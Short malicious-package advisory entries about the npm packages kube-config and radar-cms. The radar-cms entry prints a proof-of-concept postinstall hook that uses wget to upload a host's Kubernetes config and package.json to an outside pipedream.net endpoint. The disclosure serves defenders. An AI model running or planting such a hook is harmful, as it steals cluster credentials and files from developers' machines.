Malicious code in kube-config (npm)

The package kube-config was found to contain malicious code...

MAL-2025-24798 Malicious code in kube-config (npm)

The package kube-config was found to contain malicious code...

Malicious Package

Overview radar-cms is a malicious package. The package was found to have a post-install command which when executed will exfiltrate multiple files from a host machine. PoC "postinstall": "wget --post-file /.kube/config https://entfet95itcxpuu.m.pipedream.net;wget --post-file package.json...